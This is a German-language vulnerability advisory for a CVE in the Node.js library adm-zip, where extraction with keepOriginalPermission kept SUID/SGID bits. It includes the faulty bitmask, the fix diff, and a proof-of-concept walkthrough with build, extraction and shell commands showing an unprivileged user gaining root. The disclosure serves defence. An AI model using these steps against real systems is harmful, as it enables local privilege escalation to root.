
CVE-2026-102282: Lokale Rechteausweitung durch SUID/SGID-Erhaltung bei der Archiv-Extraktion
adm-zip ist eine etablierte, reine JavaScript-ZIP-Archivbibliothek für Node.js mit über 20 Millionen wöchentlichen Downloads im npm-Ökosystem. Sie ist weit verbreitet in CI/CD-Pipelines, Container-Build-Workflows, Cloud-Deployment-Tools und serverseitigen Anwendungen integriert, um Archivkomprimierung und -extraktion zu handhaben.
Während der Extraktion unterstützt adm-zip eine Konfigurationsoption keepOriginalPermission, die dazu dient, im Archiv aufgezeichnete POSIX-Berechtigungen wiederherzustellen. Die Bibliothek versäumte es jedoch, spezielle privilegientragende Unix-Dateimodus-Bits herauszufiltern: SUID (S_ISUID, 0o4000), SGID (S_ISGID, 0o2000) und das Sticky-Bit (S_ISVTX, 0o1000).
Wenn eine Anwendung ein nicht vertrauenswürdiges ZIP-Archiv mit keepOriginalPermission = true extrahiert, während sie mit erhöhten Rechten läuft (wie ein Root-Level-CI-Runner, Docker-Container-Entrypoint oder Backend-Task-Daemon), wendet adm-zip die vom Angreifer angegebenen SUID/SGID-Bits über fs.chmodSync() auf die Festplatte an. Dadurch entsteht eine root-eigene SUID-ausführbare Datei im Host-Dateisystem, die es einem unprivilegierten lokalen Benutzer ermöglicht, die Binärdatei auszuführen und sofort Root-Rechte zu erlangen.
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1In der PKWARE-ZIP-Format-Spezifikation werden Unix-Dateiberechtigungen im 32-Bit-Feld external file attributes des Central Directory Headers (Bytes 38-41) gespeichert. Bei Unix-kompatiblen Archiven kodieren die oberen 16 Bits den Dateityp und den 12-Bit-POSIX-Berechtigungsmodus (0o7777).
In Versionen <= 0.6.0 verwendete headers/entryHeader.js eine 12-Bit-Bitmaske (0xfff):
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
Die Bitmaske 0xfff (binär 1111 1111 1111) extrahiert die gesamten unteren 12 Bits und bewahrt nicht nur die standardmäßigen Lese-/Schreib-/Ausführungsberechtigungen (0o777), sondern auch die speziellen Berechtigungsbits 0o4000 (SUID), 0o2000 (SGID) und 0o1000 (Sticky).
In Version 0.6.1 wurde die Maske auf 0o777 (dezimal 511) begrenzt, wodurch alle speziellen Privilegienbits entfernt werden:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
Das Problem tritt auf, wenn keepOriginalPermission während der Extraktion aktiviert ist:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
In util/utils.js wurde das extrahierte Attribut ohne Validierung direkt an das Dateisystem übergeben:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Wenn der extrahierende Prozess als root (euid 0) auf einem Dateisystem läuft, das ohne nosuid gemountet ist, setzt fs.chmodSync() die Berechtigungen der extrahierten Datei auf Modus 0o4755 (-rwsr-xr-x) mit Eigentümer root:root.
[email protected])Archiverstellung und privilegierte Extraktion:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
Ausführung durch einen unprivilegierten lokalen Benutzer (uid=1000):
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
Wenn nicht vertrauenswürdige ZIP-Dateien mit erhöhten Rechten verarbeitet werden – etwa durch automatisierte Build-Agents, Shared-Hosting-Umgebungen, serverlose Container-Initialisierungsroutinen und Plugin-Installationsframeworks – kann ein unprivilegierter Benutzer ein manipuliertes Archiv bereitstellen, um eine beliebige root-eigene SUID-Binärdatei zu platzieren, was zu Local Privilege Escalation (LPE) und beliebiger Codeausführung als root führt.
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip-Version extrahieren:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
Hinweis: Das Ziel-Extraktionsverzeichnis muss sich auf einem Dateisystem befinden, das ohne nosuid gemountet ist.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Base Score 7.1)0.6.1